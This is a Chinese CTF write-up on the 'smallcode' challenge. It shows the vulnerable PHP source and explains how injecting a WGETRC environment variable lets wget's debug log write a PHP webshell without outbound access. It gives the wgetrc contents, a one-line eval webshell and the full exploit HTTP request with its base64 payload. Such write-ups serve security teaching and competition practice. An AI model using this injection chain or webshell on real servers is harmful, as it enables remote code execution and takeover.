当前位置: 首页 > news >正文

startctf环境变量注入及强网拟态smallcode特殊解法

之前打强网拟态遇到了环境变量注入的题,看其他师傅都是用自己的VPS作为代理服务器。

这里我想给出一个自己的打法,可以在靶机不出网的条件下写入webshell

下面是题目源码

<?phphighlight_file(__FILE__);if(isset($_POST['context'])){$context = $_POST['context'];file_put_contents("1.txt",base64_decode($context));}
logfileif(isset($_POST['env'])){$env = $_POST['env'];putenv($env);}system("wget --content-disposition -N fmyyy");

WGETRC环境变量指定为1.txt
然后我查阅官方手册发现一个logfile的参数
可以指定log文件,然后我们就想办法让文件里面包含php一句话木马
查阅后发现存在debug模式和post_data参数
这两个结合在一起就可以让日志文件输出post_data的参数
组合起来就可以做到不出网写webshell
1.txt的内容

debug = on
logfile = /home/rycarl/PhpstormProjects/xctf/aaa.php
post_data = '<?php @eval($_POST['123']); ?>'

所以最后的payload是

POST / HTTP/1.1
Host: web-91b2977d28.challenge.xctf.org.cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36 Edg/141.0.0.0
Origin: http://web-91b2977d28.challenge.xctf.org.cn
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://web-91b2977d28.challenge.xctf.org.cn/
Content-Type: application/x-www-form-urlencoded
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Content-Length: 105context=ZGVidWcgPSBvbgpsb2dmaWxlID0gL3Zhci93d3cvaHRtbC93ZWJzaGVsbC5waHAKcG9zdF9kYXRhID0gJzw/cGhwIEBldmFsKCRfUE9TVFsnMTIzJ10pOyA/Pic=&env=WGETRC%3D%2Fvar%2Fwww%2Fhtml%2F1.txt
http://www.jsqmd.com/news/33594/

相关文章:

  • Spring ApplicationEventPublisher 事件发布
  • NOIP模拟赛20251106 T4 CF1270H
  • 详细介绍:电阻的分类与应用
  • 题解:CF2121E Sponsor of Your Problems
  • wepoc Nuclei 漏洞扫描器图形界面工具
  • Python实现数据可视化用Matplotlib轻松创建专业级图表 - 指南
  • Python因果分析选哪个?六个贝叶斯推断库实测对比(含代码示例)
  • 题解:CF2121B Above the Clouds
  • 实用指南:学习日报 20251007|深度解析:基于 Guava LoadingCache 的优惠券模板缓存设计与实现
  • 选择 Tita 新绩效一体化的 5 大理由
  • NOIP模拟赛20251106 T3
  • 20251106周四日记
  • 学习:初学BP
  • 2025年上海防水补漏TOP5最新评测:从屋顶到地下室,全场景解决
  • 线段树维护区间历史信息和为例的复杂信息维护同标记下传设计技巧简记
  • 每日总结(三)
  • DFS 序
  • 重组蛋白纯化标签科普:从His到SUMO、Avi的全面解析
  • 2025.11.6
  • 飞牛nas播放卡顿的解决方案
  • 第三十五篇
  • 使用LLaMA Factory微调模型笔记
  • 25.11.6联考题解
  • Linux驱动学习(一)---Ubuntu-helloworld驱动编译
  • 2025/11/3 ~ 2025/11/9 做题笔记 - sb
  • 利用Google Dork挖掘敏感文件setup.sh的技术解析
  • 11.6 程序员的修炼之道:从小工到专家 第四章 注重实效的偏执 - GENGAR
  • 2025.11.6~?
  • 详细介绍:自建数字资源库:技术架构全解析
  • 人工智能价值权衡的元理论:三值纠缠与文明演进的动力学框架